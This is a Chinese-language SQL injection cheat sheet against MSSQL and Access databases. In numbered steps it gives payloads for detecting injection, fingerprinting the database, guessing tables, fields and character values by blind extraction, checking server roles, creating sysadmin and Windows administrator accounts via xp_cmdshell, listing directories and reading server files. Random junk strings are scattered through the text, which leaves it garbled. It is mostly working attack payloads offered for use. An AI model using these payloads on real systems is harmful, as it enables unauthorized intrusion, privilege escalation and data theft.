1.判断是否有注入;and 1=1 ;and 1=2 18JhC*in
2.初步判断是否是mssql ;and user>0 HRS|VC$tz
clfi)-^{K
3.注入参数是字符'and [查询条件] and ''=' F jdh&9Zc
nTrfbK@
4.搜索时没过滤参数的'and [查询条件] and '%25'=' <qZ"W6&&
Q|eRek
5.判断数据库系统 $tvGS6p>
2y;
|6`
;and (select count(*) from sysobjects)>0 mssql Yc;cf%c1
T{=.mW^ x
;and (select count(*) from msysobjects)>0 access tMGkm8y-A
/E>z8J$
,Nl]rmI
T8Sgu6:*R
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,])@?TJb@
48,Aq*JFw
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 SPKen}g
?m-kpW8
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ;:xOW$
Y ON@G5^
9.(1)猜字段的ascii值(access) )Y':u_Lo
]P/eg$u'I
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bqY}t. Y&"
0[6llcuj
(2)猜字段的ascii值(mssql) xTQV?g
J
,Ie~zZE&
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /Z<" 6g?
Dz,Fu:)
10.测试权限结构(mssql) .N~qpynY
U!m-{7s$
#sit8k`GR8
w7\:S>;(O"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- zSta!]
c)Ft#vzg&e
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #u+BjuZo
rN#ydw:9
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _DfI78`(
A(AyLxB47*
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n0:+D
R
iqf+rBL
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $hB;r
)f#@`lf[<
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #|^7{TN
5r/QPJ<h
;and 1=(select IS_MEMBER('db_owner'));-- qg#WDx /
Bv"Fx*{W
WH :+HNl1d
QC>I<j&`!
11.添加mssql和系统的帐户 'qLk"
E&0A W{
;exec master.dbo.sp_addlogin username;-- :4$Ex2
;exec master.dbo.sp_password null,username,password;-- oQ!} @CaN|
J)(H-xvV
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &rj6<b1A
+T[3wL~
;exec master.dbo.xp_cmdshell 'net user username password @t`|w.]ml
nut;ohIh
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {(G@YG?
AG)N^yd
;exec master.dbo.xp_cmdshell 'net user username password /add';-- [:$j<}UmB
"hz(A.THi
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- s<0yQ-=.?N
Vja' :i
;}IF'ANA
~Av]LW
12.(1)遍历目录 Y>!9P\Xe
#m
3WZ3t$
;create table dirs(paths varchar(100), id int) `9Ngax=_
mm%w0dOb"
;insert dirs exec master.dbo.xp_dirtree 'c:\' G1B~?i2$ ?
9BLz
;and (select top 1 paths from dirs)>0 tjk Y[
XboOvdt^|
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `< y[V
o)n8,k&nm
Zx25H"5j
Faa:h#
(2)遍历目录 t&SJ!>7_c
uR)itmc?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- S}e*~^1J
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Wf_aEW&n
,: w~-
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 @FkNT~OZ
If6wkY6sR
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 YkPz ~;
Y'/` ?CK
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .^#{rk
[.<